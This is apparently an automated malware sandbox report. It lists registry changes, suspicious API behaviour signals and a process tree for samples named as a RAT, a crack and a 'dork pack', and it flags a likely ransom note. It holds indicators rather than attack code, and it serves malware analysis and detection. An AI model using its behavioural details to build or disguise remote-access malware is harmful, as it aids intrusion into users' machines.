\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS nw.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS nw.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\IESettingSync WinRAR.exe Set value (int) \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" WinRAR.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch WinRAR.exe Set value (str) \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" WinRAR.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry videos.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133167854652453412" videos.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry nw.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry nw.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r16 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shell uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.taz\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.001\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r26 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r01 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r17 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shell\open\command uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon\ = "C:\\Program Files\\WinRAR\\WinRAR.exe,0" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r18\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cab\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.uue uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.rev uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r13\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.zip\ = "WinRAR.ZIP" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r21 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.uue\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\DropHandler\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.z uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\PropertySheetHandlers uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r00 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.rar\ShellNew\FileName = "C:\\Program Files\\WinRAR\\rarnew.dat" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell\open\command uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.tar uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\ = "WinRAR ZIP archive" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ WinRAR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.ZIP\shellex\ContextMenuHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r02 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r23\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.zipx uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR.REV\shell\open\command\ = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\" \"%1\"" uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ WinRAR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r08 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r22 uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.lzh uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ = "WinRAR" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r25 uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.tlz\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7z uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.r05\ = "WinRAR" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.r23 uninstall.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings OpenWith.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WinRAR\shellex\ContextMenuHandlers uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.lha uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bz2\ = "WinRAR" uninstall.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 5232 NOTEPAD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1992 crack.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3000 chrome.exe 3000 chrome.exe 3680 chrome.exe 3680 chrome.exe 1912 chrome.exe 1912 chrome.exe 4756 chrome.exe 4756 chrome.exe 4276 chrome.exe 4276 chrome.exe 4336 chrome.exe 4336 chrome.exe 3908 chrome.exe 3908 chrome.exe 4892 chrome.exe 4892 chrome.exe 4892 chrome.exe 4892 chrome.exe 1128 chrome.exe 1128 chrome.exe 4068 chrome.exe 4068 chrome.exe 4920 chrome.exe 4920 chrome.exe 4168 chrome.exe 4168 chrome.exe 1932 chrome.exe 1932 chrome.exe 1992 chrome.exe 1992 chrome.exe 4092 chrome.exe 4092 chrome.exe 3720 chrome.exe 3720 chrome.exe 1420 chrome.exe 1420 chrome.exe 5104 chrome.exe 5104 chrome.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 7 IoCs
pid Process 460 WinRAR.exe 3148 888 RAT Private .exe 3736 taskmgr.exe 5536 WinRAR.exe 3052 OpenWith.exe 5960 WinRAR.exe 3680 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
pid Process 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: 33 4232 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 4232 AUDIODG.EXE Token: SeDebugPrivilege 3736 taskmgr.exe Token: SeSystemProfilePrivilege 3736 taskmgr.exe Token: SeCreateGlobalPrivilege 3736 taskmgr.exe Token: SeShutdownPrivilege 4924 videos.exe Token: SeCreatePagefilePrivilege 4924 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe Token: SeCreatePagefilePrivilege 3300 videos.exe Token: SeShutdownPrivilege 3300 videos.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3680 chrome.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe 3736 taskmgr.exe -
Suspicious use of SetWindowsHookEx 42 IoCs
pid Process 388 OpenWith.exe 4028 winrar-x64-611.exe 4028 winrar-x64-611.exe 460 WinRAR.exe 460 WinRAR.exe 3148 888 RAT Private .exe 3148 888 RAT Private .exe 308 UUFVWP.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 3052 OpenWith.exe 4648 OpenWith.exe 5556 DORK PREMIUM PACK.exe 5556 DORK PREMIUM PACK.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3680 wrote to memory of 1424 3680 chrome.exe 92 PID 3680 wrote to memory of 1424 3680 chrome.exe 92 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 4540 3680 chrome.exe 95 PID 3680 wrote to memory of 3000 3680 chrome.exe 96 PID 3680 wrote to memory of 3000 3680 chrome.exe 96 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97 PID 3680 wrote to memory of 3700 3680 chrome.exe 97
Processes
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\RUNNING FROM THE INTERNET - FREE GUI - AUTO SPIN & MORE!.txt"1⤵PID:4644
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbae784f50,0x7ffbae784f60,0x7ffbae784f702⤵PID:1424
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1672 /prefetch:22⤵PID:4540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1988 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2296 /prefetch:82⤵PID:3700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2984 /prefetch:12⤵PID:4772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2956 /prefetch:12⤵PID:1844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:12⤵PID:2560
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4460 /prefetch:82⤵PID:312
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4380 /prefetch:82⤵PID:840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4468 /prefetch:82⤵PID:2616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4772 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1912
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4984 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4756
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4948 /prefetch:82⤵PID:3640
-
-
